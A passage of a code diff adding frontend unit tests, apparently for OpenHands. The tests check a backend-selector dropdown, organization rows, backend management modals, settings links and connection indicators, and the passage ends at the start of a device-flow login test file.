+import { ENVIRONMENT_SWITCH_SETACTIVE_DELAY_MS } from "#/components/features/backends/environment-switch-store";
+
+import {
+  ServerClient,
+  SettingsClient,
+} from "@openhands/typescript-client/clients";
+import {
+  getCloudOrganizations,
+  getCloudOrganizationMe,
+  getCurrentCloudApiKey,
+} from "#/api/cloud/organization-service.api";
+
+vi.mock("#/api/cloud/organization-service.api", () => ({
+  getCloudOrganizations: vi.fn(),
+  getCloudOrganizationMe: vi.fn(),
+  getCurrentCloudApiKey: vi.fn(),
+}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  ServerClient: vi.fn(),
+  SettingsClient: vi.fn(),
+}));
+
+// Shared seed configs reused across tests.
+const SEED_LOCAL_1 = {
+  name: "Local 1",
+  host: "http://localhost:9000",
+  apiKey: "k",
+  kind: "local" as const,
+};
+
+const SEED_CLOUD_PRODUCTION = {
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-key",
+  kind: "cloud" as const,
+};
+
+function renderWithProviders(ui: React.ReactElement) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <MemoryRouter>
+      <QueryClientProvider client={queryClient}>
+        <ActiveBackendProvider>{ui}</ActiveBackendProvider>
+      </QueryClientProvider>
+    </MemoryRouter>,
+  );
+}
+
+function TestSeed({
+  onMount,
+  children,
+}: {
+  onMount: (ctx: ReturnType<typeof useActiveBackendContext>) => void;
+  children: React.ReactNode;
+}) {
+  const ctx = useActiveBackendContext();
+  React.useEffect(() => {
+    onMount(ctx);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  return children as React.ReactElement;
+}
+
+async function openDropdown() {
+  const user = userEvent.setup();
+  const wrapper = screen.getByTestId("backend-selector");
+  // BackendSelector renders Dropdown with `openOnHover` while the trigger is
+  // visible — clicking the toggle button would open via hover and then
+  // immediately close via the click handler. Hovering the wrapper alone is
+  // enough to surface the menu.
+  await user.hover(wrapper);
+  return user;
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+  vi.stubEnv("VITE_SESSION_API_KEY", "session-key");
+  __resetActiveStoreForTests();
+  vi.mocked(getCloudOrganizations).mockReset();
+  vi.mocked(getCloudOrganizations).mockResolvedValue({
+    items: [],
+    currentOrgId: null,
+  });
+  vi.mocked(getCloudOrganizationMe).mockReset();
+  vi.mocked(getCloudOrganizationMe).mockResolvedValue({
+    orgId: "",
+    userId: "",
+    role: null,
+  });
+  // Default to the legacy-key fallback so existing assertions about
+  // multiple orgs being visible still hold. Tests that exercise
+  // org-filter behavior override this with an explicit orgId.
+  vi.mocked(getCurrentCloudApiKey).mockReset();
+  vi.mocked(getCurrentCloudApiKey).mockResolvedValue({
+    orgId: null,
+    isLegacyKey: true,
+  });
+  // Default the local-server health probe to "connected" so the
+  // existing label-focused tests aren't surprised by a red indicator;
+  // tests that assert on the disconnected state override this.
+  vi.mocked(ServerClient).mockReset();
+  vi.mocked(ServerClient).mockImplementation(function ServerClientMock() {
+    return {
+      getServerInfo: vi.fn().mockResolvedValue({ version: "1.28.0" }),
+    } as unknown as ServerClient;
+  });
+  vi.mocked(SettingsClient).mockReset();
+  vi.mocked(SettingsClient).mockImplementation(function SettingsClientMock() {
+    return {
+      getSettings: vi.fn().mockResolvedValue({}),
+    } as unknown as SettingsClient;
+  });
+});
+
+afterEach(async () => {
+  // When a test selects a dropdown option, BackendSelector's onChange
+  // calls `triggerEnvironmentSwitch` and then awaits a real-time
+  // `setTimeout(..., ENVIRONMENT_SWITCH_SETACTIVE_DELAY_MS)` before
+  // running `setActive`. `userEvent.click` does NOT await that async
+  // handler, so the trailing `setActive` can land AFTER the test ends,
+  // re-polluting `localStorage` during a later test. The body's
+  // `data-environment-switching` attribute is set while the switch is
+  // in flight; wait it out before clearing storage so the in-flight
+  // `setActive` writes BEFORE we wipe state.
+  if (document.body.hasAttribute("data-environment-switching")) {
+    await new Promise((resolve) => {
+      setTimeout(resolve, ENVIRONMENT_SWITCH_SETACTIVE_DELAY_MS + 20);
+    });
+  }
+  window.localStorage.clear();
+  vi.unstubAllEnvs();
+  __resetActiveStoreForTests();
+  __resetEnvironmentSwitchOverlayForTests();
+});
+
+describe("BackendSelector", () => {
+  it("shows the seeded default Local backend's name by default", () => {
+    renderWithProviders(<BackendSelector />);
+    const wrapper = screen.getByTestId("backend-selector");
+    const input = wrapper.querySelector("input") as HTMLInputElement;
+    expect(input.value).toBe("Local");
+  });
+
+  it("lists all registered backends in the dropdown", async () => {
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend(SEED_LOCAL_1);
+          ctx.addBackend({
+            name: "Production",
+            host: "https://app.all-hands.dev",
+            apiKey: "b",
+            kind: "cloud",
+          });
+        }}
+      >
+        <BackendSelector />
+      </TestSeed>,
+    );
+
+    await openDropdown();
+
+    // The seeded default ("Local") is rendered as a normal row alongside
+    // the user-added backends.
+    expect(screen.getByText("Local")).toBeInTheDocument();
+    expect(screen.getByText("Local 1")).toBeInTheDocument();
+    expect(screen.getByText("Production")).toBeInTheDocument();
+  });
+
+  it("expands a cloud backend into one row per org and records the org locally without calling cloud /switch", async () => {
+    vi.mocked(getCloudOrganizations).mockResolvedValue({
+      items: [
+        { id: "org-personal", name: "Personal" },
+        { id: "org-2", name: "Acme Inc" },
+      ],
+      currentOrgId: "org-personal",
+    });
+
+    let cloudId = "";
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id;
+          // Add a second backend so auto-switch lands here, leaving the
+          // cloud backend unselected (the dropdown only expands org rows
+          // for non-active cloud backends).
+          ctx.addBackend(SEED_LOCAL_1);
+        }}
+      >
+        <BackendSelector />
+      </TestSeed>,
+    );
+
+    const user = await openDropdown();
+
+    await waitFor(() => {
+      expect(screen.getByText("Production – Personal")).toBeInTheDocument();
+    });
+    expect(screen.getByText("Production – Acme Inc")).toBeInTheDocument();
+
+    await user.click(screen.getByText("Production – Acme Inc"));
+
+    // Selecting an org row updates the active selection locally only —
+    // it must never trigger the cloud-mutating /switch call that used to
+    // leak the local-UI choice into the cloud UI's `current_org_id`.
+    await waitFor(() => {
+      const stored = JSON.parse(
+        window.localStorage.getItem("openhands-active-backend") ?? "null",
+      );
+      expect(stored).toEqual({ backendId: cloudId, orgId: "org-2" });
+    });
+  });
+
+  it("filters each cloud backend's org rows to the org its API key is bound to", async () => {
+    // Both backends point at the same host; the user belongs to all three
+    // orgs, but each API key is scoped to a different one. The selector
+    // must show one row per backend, each labeled with its key's own org.
+    vi.mocked(getCloudOrganizations).mockResolvedValue({
+      items: [
+        { id: "org-personal", name: "Personal" },
+        { id: "org-acme", name: "Acme Inc" },
+        { id: "org-beta", name: "Beta Co" },
+      ],
+      currentOrgId: "org-personal",
+    });
+    vi.mocked(getCurrentCloudApiKey).mockImplementation(async (backend) => ({
+      orgId: backend?.apiKey === "key-personal" ? "org-personal" : "org-acme",
+      isLegacyKey: false,
+    }));
+
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "ProdPersonal",
+            host: "https://app.all-hands.dev",
+            apiKey: "key-personal",
+            kind: "cloud",
+          });
+          ctx.addBackend({
+            name: "ProdAcme",
+            host: "https://app.all-hands.dev",
+            apiKey: "key-acme",
+            kind: "cloud",
+          });
+          // Land on a local backend so both cloud backends are unselected
+          // and their org rows render in the dropdown.
+          ctx.addBackend(SEED_LOCAL_1);
+        }}
+      >
+        <BackendSelector />
+      </TestSeed>,
+    );
+
+    await openDropdown();
+
+    await waitFor(() => {
+      expect(screen.getByText("ProdPersonal – Personal")).toBeInTheDocument();
+    });
+    expect(screen.getByText("ProdAcme – Acme Inc")).toBeInTheDocument();
+    // Inaccessible orgs must not appear under either backend.
+    expect(
+      screen.queryByText("ProdPersonal – Acme Inc"),
+    ).not.toBeInTheDocument();
+    expect(screen.queryByText("ProdAcme – Personal")).not.toBeInTheDocument();
+    expect(screen.queryByText(/Beta Co/)).not.toBeInTheDocument();
+  });
+
+  it("shows every organization as a separate row for cookie-auth cloud backends", async () => {
+    vi.mocked(getCloudOrganizations).mockResolvedValue({
+      items: [
+        { id: "org-personal", name: "Personal" },
+        { id: "org-acme", name: "Acme Inc" },
+      ],
+      currentOrgId: "org-acme",
+    });
+    vi.mocked(getCurrentCloudApiKey).mockResolvedValue({
+      orgId: "org-personal",
+      isLegacyKey: false,
+    });
+
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "OpenHands Cloud",
+            host: "https://app.all-hands.dev",
+            apiKey: "",
+            kind: "cloud",
+            authMode: "cookie",
+          });
+        }}
+      >
+        <BackendSelector />
+      </TestSeed>,
+    );
+
+    await waitFor(() => {
+      const wrapper = screen.getByTestId("backend-selector");
+      const input = wrapper.querySelector("input") as HTMLInputElement;
+      expect(input.value).toBe("OpenHands Cloud – Acme Inc");
+    });
+
+    await openDropdown();
+
+    await waitFor(() => {
+      expect(
+        screen.getByText("OpenHands Cloud – Personal"),
+      ).toBeInTheDocument();
+    });
+    expect(screen.getByText("OpenHands Cloud – Acme Inc")).toBeInTheDocument();
+    expect(getCurrentCloudApiKey).not.toHaveBeenCalled();
+  });
+
+  it("labels an org as 'Personal Workspace' when /me reports user_id === org.id", async () => {
+    const personalOrgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+    vi.mocked(getCloudOrganizations).mockResolvedValue({
+      items: [
+        {
+          id: personalOrgId,
+          // The auto-generated personal-workspace org has an unfriendly
+          // backend-side name; the GUI must override it.
+          name: `user_${personalOrgId}_org`,
+        },
+        { id: "org-2", name: "Acme Inc" },
+      ],
+      currentOrgId: personalOrgId,
+    });
+    // /me for the personal org returns user_id === org_id; for the team
+    // org user_id !== org_id.
+    vi.mocked(getCloudOrganizationMe).mockImplementation(async (orgId) => ({
+      orgId,
+      userId: orgId === personalOrgId ? personalOrgId : "some-user",
+      role: null,
+    }));
+
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend(SEED_CLOUD_PRODUCTION);
+          // Land on a local backend so the cloud backend is unselected
+          // and its org rows render in the dropdown.
+          ctx.addBackend(SEED_LOCAL_1);
+        }}
+      >
+        <BackendSelector />
+      </TestSeed>,
+    );
+
+    await openDropdown();
+
+    await waitFor(() => {
+      expect(
+        screen.getByText("Production – BACKEND$PERSONAL_WORKSPACE"),
+      ).toBeInTheDocument();
+    });
+    expect(screen.getByText("Production – Acme Inc")).toBeInTheDocument();
+    // The auto-generated org name must NOT be rendered.
+    expect(
+      screen.queryByText(`Production – user_${personalOrgId}_org`),
+    ).not.toBeInTheDocument();
+  });
+
+  it("self-heals (cloud, null) → Cloud's current org before personal workspace", async () => {
+    const personalOrgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+    vi.mocked(getCloudOrganizations).mockResolvedValue({
+      items: [
+        { id: personalOrgId, name: "Auto-generated personal" },
+        { id: "org-2", name: "Acme Inc" },
+      ],
+      currentOrgId: "org-2",
+    });
+    vi.mocked(getCloudOrganizationMe).mockResolvedValue({
+      orgId: personalOrgId,
+      userId: personalOrgId,
+      role: null,
+    });
+
+    let cloudId = "";
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id;
+          // Simulate the post-refresh malformed state: active backend is
+          // the cloud one but no orgId is set yet.
+          ctx.setActive(cloudId, null);
+        }}
+      >
+        <BackendSelector />
+      </TestSeed>,
+    );
+
+    // After orgs resolve, the selector snaps the active selection onto the
+    // Cloud API's current_org_id locally — without round-tripping /switch on
+    // the cloud backend (which would have mutated the cloud UI's current org
+    // as a side effect).
+    await waitFor(() => {
+      const stored = JSON.parse(
+        window.localStorage.getItem("openhands-active-backend") ?? "null",
+      );
+      expect(stored).toEqual({ backendId: cloudId, orgId: "org-2" });
+    });
+  });
+
+  it("switches the active backend when an option is selected", async () => {
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend(SEED_LOCAL_1);
+        }}
+      >
+        <BackendSelector />
+      </TestSeed>,
+    );
+
+    // Auto-switch lands on "Local 1"; click the seeded default to switch.
+    const user = await openDropdown();
+    await user.click(screen.getByText("Local"));
+
+    const wrapper = screen.getByTestId("backend-selector");
+    const input = wrapper.querySelector("input") as HTMLInputElement;
+    expect(input.value).toBe("Local");
+  });
+
+  // @spec BM-002 — Switching backends keeps the user on the same page
+  it.each([
+    {
+      name: "conversation detail → conversations list",
+      startPath: "/conversations/abc",
+      startRoute: "/conversations/:conversationId",
+      landingRoute: "/conversations",
+      expectRedirect: true,
+    },
+    {
+      name: "automation detail → automations list",
+      startPath: "/automations/abc-123",
+      startRoute: "/automations/:automationId",
+      landingRoute: "/automations",
+      expectRedirect: true,
+    },
+    {
+      name: "settings → stays on settings",
+      startPath: "/settings",
+      startRoute: "/settings",
+      landingRoute: "/conversations",
+      expectRedirect: false,
+    },
+  ])(
+    "$name",
+    async ({ startPath, startRoute, landingRoute, expectRedirect }) => {
+      function StartRoute() {
+        return (
+          <TestSeed
+            onMount={(ctx) => {
+              ctx.addBackend(SEED_LOCAL_1);
+            }}
+          >
+            <div data-testid="start-route" />
+            <BackendSelector />
+          </TestSeed>
+        );
+      }
+      function LandingRoute() {
+        return <div data-testid="landing-route" />;
+      }
+      const RouterStub = createRoutesStub([
+        { path: startRoute, Component: StartRoute },
+        { path: landingRoute, Component: LandingRoute },
+      ]);
+      const queryClient = new QueryClient({
+        defaultOptions: { queries: { retry: false } },
+      });
+      render(
+        <QueryClientProvider client={queryClient}>
+          <ActiveBackendProvider>
+            <RouterStub initialEntries={[startPath]} />
+          </ActiveBackendProvider>
+        </QueryClientProvider>,
+      );
+
+      const user = await openDropdown();
+      await user.click(screen.getByText("Local"));
+
+      if (expectRedirect) {
+        expect(await screen.findByTestId("landing-route")).toBeInTheDocument();
+      } else {
+        await waitFor(() => {
+          expect(screen.getByTestId("start-route")).toBeInTheDocument();
+        });
+        expect(screen.queryByTestId("landing-route")).not.toBeInTheDocument();
+      }
+    },
+  );
+
+  it("keeps the environment-switch overlay visible even after the selector unmounts mid-switch", async () => {
+    // Arrange — selector and overlay are rendered in independent trees
+    // so the selector can be torn down without taking the overlay with
+    // it. This mirrors production: ContextMenuContainer's click-outside
+    // handler unmounts UserContextMenu (and BackendSelector) the moment
+    // the dropdown's portaled option list is clicked, so the trigger
+    // must not depend on BackendSelector staying mounted.
+    const selectorRender = renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "Acme Local",
+            host: "http://localhost:9000",
+            apiKey: "k",
+            kind: "local",
+          });
+        }}
+      >
+        <BackendSelector />
+      </TestSeed>,
+    );
+    render(<EnvironmentSwitchOverlay />);
+
+    // Act — auto-switch lands on "Acme Local"; click the seeded default
+    // to trigger a switch, then immediately unmount the selector (the
+    // click itself would do this in production via the outside-click handler).
+    const user = await openDropdown();
+    await user.click(screen.getByText("Local"));
+    selectorRender.unmount();
+
+    // Assert — the overlay is still in the DOM with the chosen target
+    expect(screen.getByTestId("environment-switch-overlay")).toHaveAttribute(
+      "data-target",
+      "Local",
+    );
+  });
+
+  it("does not open backend modals on mouse down alone", async () => {
+    renderWithProviders(<BackendSelector />);
+
+    await openDropdown();
+
+    fireEvent.mouseDown(screen.getByTestId("add-backend-menu-item"));
+    expect(screen.queryByTestId("add-backend-modal")).not.toBeInTheDocument();
+
+    fireEvent.mouseDown(screen.getByTestId("manage-backends-menu-item"));
+    expect(
+      screen.queryByTestId("manage-backends-modal"),
+    ).not.toBeInTheDocument();
+  });
+
+  it.each([
+    {
+      itemTestId: "add-backend-menu-item",
+      modalTestId: "add-backend-modal",
+    },
+    {
+      itemTestId: "manage-backends-menu-item",
+      modalTestId: "manage-backends-modal",
+    },
+  ])(
+    "opens $modalTestId from touch without bubbling to surrounding menus",
+    async ({ itemTestId, modalTestId }) => {
+      const outsideTouchEnd = vi.fn();
+
+      renderWithProviders(
+        <div onTouchEnd={outsideTouchEnd}>
+          <BackendSelector />
+        </div>,
+      );
+
+      await openDropdown();
+      const action = screen.getByTestId(itemTestId);
+
+      fireEvent.touchStart(action);
+      fireEvent.touchEnd(action);
+
+      expect(outsideTouchEnd).not.toHaveBeenCalled();
+      expect(await screen.findByTestId(modalTestId)).toBeInTheDocument();
+    },
+  );
+
+  it("renders the backend footer actions and opens/closes the add modal", async () => {
+    renderWithProviders(<BackendSelector />);
+
+    const user = await openDropdown();
+    expect(screen.getByTestId("add-backend-menu-item")).toBeInTheDocument();
+    expect(screen.getByTestId("manage-backends-menu-item")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("add-backend-menu-item"));
+    expect(await screen.findByTestId("add-backend-modal")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("add-backend-close"));
+    await waitFor(() => {
+      expect(screen.queryByTestId("add-backend-modal")).not.toBeInTheDocument();
+    });
+  });
+
+  it("hides add-backend footer action when locked to Cloud", async () => {
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+
+    renderWithProviders(<BackendSelector />);
+
+    await openDropdown();
+    expect(
+      screen.queryByTestId("add-backend-menu-item"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByTestId("manage-backends-menu-item")).toHaveTextContent(
+      "BACKEND$RECONNECT_CLOUD",
+    );
+  });
+
+  it("hides the backend footer actions when the locked backend uses cookie auth", async () => {
+    // Arrange: an OHE-hosted Canvas — nothing to add, manage, or reconnect.
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    vi.mocked(getCloudOrganizations).mockResolvedValue({
+      items: [{ id: "org-acme", name: "Acme Inc" }],
+      currentOrgId: "org-acme",
+    });
+
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "OpenHands Cloud",
+            host: "https://app.all-hands.dev",
+            apiKey: "",
+            kind: "cloud",
+            authMode: "cookie",
+          });
+        }}
+      >
+        <BackendSelector />
+      </TestSeed>,
+    );
+    await waitFor(() => {
+      const wrapper = screen.getByTestId("backend-selector");
+      const input = wrapper.querySelector("input") as HTMLInputElement;
+      expect(input.value).toBe("OpenHands Cloud – Acme Inc");
+    });
+
+    // Act
+    await openDropdown();
+
+    // Assert: the org rows render, but no footer actions do.
+    await waitFor(() => {
+      expect(
+        screen.getByText("OpenHands Cloud – Acme Inc"),
+      ).toBeInTheDocument();
+    });
+    expect(
+      screen.queryByTestId("manage-backends-menu-item"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("add-backend-menu-item"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("includes the seeded default Local backend in the manage backends modal as a removable entry", async () => {
+    renderWithProviders(<BackendSelector />);
+
+    const user = await openDropdown();
+    await user.click(screen.getByTestId("manage-backends-menu-item"));
+
+    expect(
+      await screen.findByTestId("manage-backends-modal"),
+    ).toBeInTheDocument();
+    // The default backend is just a regular registered entry — same row
+    // shape and a remove button identical to any other backend.
+    expect(screen.getByTestId("manage-backends-row-Local")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("manage-backends-remove-Local"),
+    ).toBeInTheDocument();
+  });
+
+  it("opens the manage backends modal and removes a backend", async () => {
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend(SEED_LOCAL_1);
+        }}
+      >
+        <BackendSelector />
+      </TestSeed>,
+    );
+
+    const user = await openDropdown();
+    await user.click(screen.getByTestId("manage-backends-menu-item"));
+
+    expect(
+      await screen.findByTestId("manage-backends-modal"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("manage-backends-row-Local 1"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("manage-backends-remove-Local 1"));
+    expect(await screen.findByTestId("confirmation-modal")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("confirm-button"));
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("manage-backends-row-Local 1"),
+      ).not.toBeInTheDocument();
+    });
+    // The seeded default ("Local") survives removing only "Local 1".
+    const remaining = JSON.parse(
+      window.localStorage.getItem("openhands-backends") ?? "[]",
+    );
+    expect(remaining.map((b: { name: string }) => b.name)).toEqual(["Local"]);
+  });
+
+  // @spec BM-003 — Fallback on active backend removal
+  it("shows no backend when removing the only active backend from manage backends", async () => {
+    // Pre-seed the registry and active selection in localStorage so the
+    // initial render already reflects `Local 1` as active. Seeding via
+    // `TestSeed.onMount` instead would call `setActive` AFTER the first
+    // commit, causing the Dropdown's `key={activeValue-label}` to change
+    // and remount the dropdown — which races with the async health probe
+    // and intermittently drops the open-click state update.
+    const local1Id = "local-1-test-id";
+    window.localStorage.setItem(
+      "openhands-backends",
+      JSON.stringify([
+        {
+          id: local1Id,
+          name: "Local 1",
+          host: "http://localhost:9000",
+          apiKey: "k",
+          kind: "local",
+        },
+      ]),
+    );
+    window.localStorage.setItem(
+      "openhands-active-backend",
+      JSON.stringify({ backendId: local1Id, orgId: null }),
+    );
+    __resetActiveStoreForTests();
+
+    renderWithProviders(<BackendSelector />);
+
+    let wrapper = screen.getByTestId("backend-selector");
+    let input = wrapper.querySelector("input") as HTMLInputElement;
+    expect(input.value).toBe("Local 1");
+
+    const user = await openDropdown();
+    await user.click(screen.getByTestId("manage-backends-menu-item"));
+    await user.click(
+      await screen.findByTestId("manage-backends-remove-Local 1"),
+    );
+    await user.click(screen.getByTestId("confirm-button"));
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("manage-backends-row-Local 1"),
+      ).not.toBeInTheDocument();
+    });
+
+    // The active selection is cleared because its target was removed;
+    // no registered backend remains, so the selector shows the explicit
+    // unavailable state instead of synthesizing a backend.
+    const stored = JSON.parse(
+      window.localStorage.getItem("openhands-active-backend") ?? "null",
+    );
+    expect(stored).toBeNull();
+
+    wrapper = screen.getByTestId("backend-selector");
+    input = wrapper.querySelector("input") as HTMLInputElement;
+    expect(input.value).toBe("BACKEND$NO_BACKEND_AVAILABLE");
+  });
+
+  describe("settings link", () => {
+    it("renders the settings link as a NavigationLink for a local backend", async () => {
+      let localId = "";
+      renderWithProviders(
+        <TestSeed
+          onMount={(ctx) => {
+            localId = ctx.addBackend(SEED_LOCAL_1).id;
+            ctx.setActive(localId, null);
+          }}
+        >
+          <BackendSelector />
+        </TestSeed>,
+      );
+
+      const link = screen.getByTestId("backend-selector-settings-link");
+      expect(link).toHaveAttribute("href", "/settings");
+      expect(link).not.toHaveAttribute("target", "_blank");
+    });
+
+    it("renders the settings link as an external anchor for a cloud backend", async () => {
+      let cloudId = "";
+      renderWithProviders(
+        <TestSeed
+          onMount={(ctx) => {
+            cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id;
+            ctx.setActive(cloudId, null);
+          }}
+        >
+          <BackendSelector />
+        </TestSeed>,
+      );
+
+      const link = screen.getByTestId("backend-selector-settings-link");
+      expect(link).toHaveAttribute(
+        "href",
+        `${SEED_CLOUD_PRODUCTION.host}/settings`,
+      );
+      expect(link).toHaveAttribute("target", "_blank");
+      expect(link).toHaveAttribute("rel", "noopener noreferrer");
+    });
+
+    it("passes the active org to the cloud settings link", () => {
+      let cloudId = "";
+      renderWithProviders(
+        <TestSeed
+          onMount={(ctx) => {
+            cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id;
+            ctx.setActive(cloudId, "org-2");
+          }}
+        >
+          <BackendSelector />
+        </TestSeed>,
+      );
+
+      expect(
+        screen.getByTestId("backend-selector-settings-link"),
+      ).toHaveAttribute(
+        "href",
+        `${SEED_CLOUD_PRODUCTION.host}/settings?org=org-2`,
+      );
+    });
+
+    it("renders the cloud settings link as a same-tab anchor when locked to Cloud", async () => {
+      // Arrange: an OHE/SaaS-hosted canvas locked to the active cloud host
+      vi.stubEnv("VITE_LOCK_TO_CLOUD", SEED_CLOUD_PRODUCTION.host);
+      let cloudId = "";
+
+      // Act
+      renderWithProviders(
+        <TestSeed
+          onMount={(ctx) => {
+            cloudId = ctx.addBackend(SEED_CLOUD_PRODUCTION).id;
+            ctx.setActive(cloudId, null);
+          }}
+        >
+          <BackendSelector />
+        </TestSeed>,
+      );
+
+      // Assert: same tab, so browser Back returns to the canvas
+      const link = screen.getByTestId("backend-selector-settings-link");
+      expect(link).toHaveAttribute(
+        "href",
+        `${SEED_CLOUD_PRODUCTION.host}/settings`,
+      );
+      expect(link).not.toHaveAttribute("target");
+      expect(link).not.toHaveAttribute("rel");
+    });
+  });
+
+  describe("connection indicator", () => {
+    it("renders one status dot per option, green when the probe succeeds", async () => {
+      vi.mocked(SettingsClient).mockImplementation(
+        function SettingsClientMock() {
+          return {
+            getSettings: vi.fn().mockResolvedValue({}),
+          } as unknown as SettingsClient;
+        },
+      );
+
+      renderWithProviders(
+        <TestSeed
+          onMount={(ctx) => {
+            ctx.addBackend(SEED_LOCAL_1);
+          }}
+        >
+          <BackendSelector />
+        </TestSeed>,
+      );
+
+      await openDropdown();
+
+      // One dot for the seeded default row + one for "Local 1".
+      const dots = await screen.findAllByTestId("backend-status-dot");
+      expect(dots.length).toBeGreaterThanOrEqual(2);
+
+      await waitFor(() => {
+        const connected = screen
+          .getAllByTestId("backend-status-dot")
+          .filter((el) => el.getAttribute("data-status") === "connected");
+        expect(connected.length).toBeGreaterThanOrEqual(2);
+      });
+    });
+
+    it("flips the status dot to red when the local probe fails", async () => {
+      vi.mocked(SettingsClient).mockImplementation(
+        function SettingsClientMock() {
+          return {
+            getSettings: vi.fn().mockRejectedValue(new Error("ECONNREFUSED")),
+          } as unknown as SettingsClient;
+        },
+      );
+
+      renderWithProviders(<BackendSelector />);
+
+      await waitFor(() => {
+        const wrapper = screen.getByTestId("backend-selector");
+        const dot = within(wrapper).getByTestId("backend-status-dot");
+        expect(dot.getAttribute("data-status")).toBe("disconnected");
+      });
+    });
+  });
+});
diff --git a/__tests__/components/backends/device-flow-login.test.tsx b/__tests__/components/backends/device-flow-login.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e2fa4157cc8e3722370dd9d82a8abf2f1b25a5f8
--- /dev/null
+++ b/__tests__/components/backends/device-flow-login.test.tsx
@@ -0,0 +1,613 @@
+import React from "react";
+import { fireEvent, render, screen, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { DeviceFlowAuth } from "#/components/features/backends/device-flow-auth";
+import type { UseDeviceFlowReturn } from "#/hooks/use-device-flow";
+
+const useDeviceFlowMock = vi.hoisted(() => vi.fn());
+const useTranslationMock = vi.hoisted(() => vi.fn());
+
+vi.mock("#/hooks/use-device-flow", () => ({
+  useDeviceFlow: useDeviceFlowMock,
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: (namespace?: unknown) => {
+    useTranslationMock(namespace);
+    return {
+      t: (key: string) =>
+        ({
+          BACKEND$LOGIN_WITH_OPENHANDS: "Login with OpenHands Cloud",
+          BACKEND$AUTH_STARTING: "Starting authorization",
+          BACKEND$AUTH_AWAITING: "Waiting for authorization",
+          BACKEND$AUTH_BROWSER_OPENED: "Complete login in your browser",
+          BACKEND$AUTH_OPEN_MANUALLY: "Open the authorization page",
+          BACKEND$AUTH_CANCEL: "Cancel",
+          BACKEND$AUTH_RETRY: "Retry",
+        })[key] ?? key,
+    };
+  },
+}));
+
+type DeviceFlowAuthProps = React.ComponentProps<typeof DeviceFlowAuth>;
+
+function createFlow(
+  overrides: Partial<UseDeviceFlowReturn> = {},
+): UseDeviceFlowReturn {
+  return {
+    status: "idle",
+    verificationUrl: null,
+    userCode: null,
+    apiKey: null,
+    error: null,
+    errorCode: null,
+    start: vi.fn(),
+    cancel: vi.fn(),
+    reset: vi.fn(),
+    ...overrides,
+  };
+}
+
+function createProps(
+  overrides: Partial<DeviceFlowAuthProps> = {},
+): DeviceFlowAuthProps {
+  return {
+    host: "cloud.example.com",
+    onSuccess: vi.fn(),
+    testIdRoot: "cloud-login",
+    ...overrides,
+  };
+}
+
+function arrangeFlow(flow: UseDeviceFlowReturn) {
+  useDeviceFlowMock.mockReset();
+  useDeviceFlowMock.mockReturnValue(flow);
+}
+
+function arrangeFlowTransition(
+  initial: UseDeviceFlowReturn,
+  next: UseDeviceFlowReturn,
+) {
+  useDeviceFlowMock.mockReset();
+  useDeviceFlowMock.mockReturnValueOnce(initial).mockReturnValue(next);
+}
+
+function createPopup({
+  closed = false,
+  initialHref = "about:blank",
+  throwOnNavigation = false,
+}: {
+  closed?: boolean;
+  initialHref?: string;
+  throwOnNavigation?: boolean;
+} = {}) {
+  const close = vi.fn();
+  const location = throwOnNavigation
+    ? Object.defineProperty({}, "href", {
+        configurable: true,
+        get: () => initialHref,
+        set: () => {
+          throw new Error("Cross-origin navigation");
+        },
+      })
+    : { href: initialHref };
+  const popup = {
+    closed,
+    close,
+    location,
+  } as unknown as Window;
+
+  return { popup, close, location: location as { href: string } };
+}
+
+afterEach(() => {
+  useDeviceFlowMock.mockReset();
+  useTranslationMock.mockReset();
+  vi.restoreAllMocks();
+});
+
+describe("device-flow login", () => {
+  it("renders the default styled login label and respects its disabled state", async () => {
+    const user = userEvent.setup();
+    const flow = createFlow();
+    arrangeFlow(flow);
+    const open = vi.spyOn(window, "open").mockReturnValue(createPopup().popup);
+
+    render(<DeviceFlowAuth {...createProps({ isDisabled: true })} />);
+
+    expect(useTranslationMock).toHaveBeenNthCalledWith(1, "openhands");
+    expect(useTranslationMock).toHaveBeenNthCalledWith(2, "openhands");
+    expect(useTranslationMock).toHaveBeenCalledTimes(2);
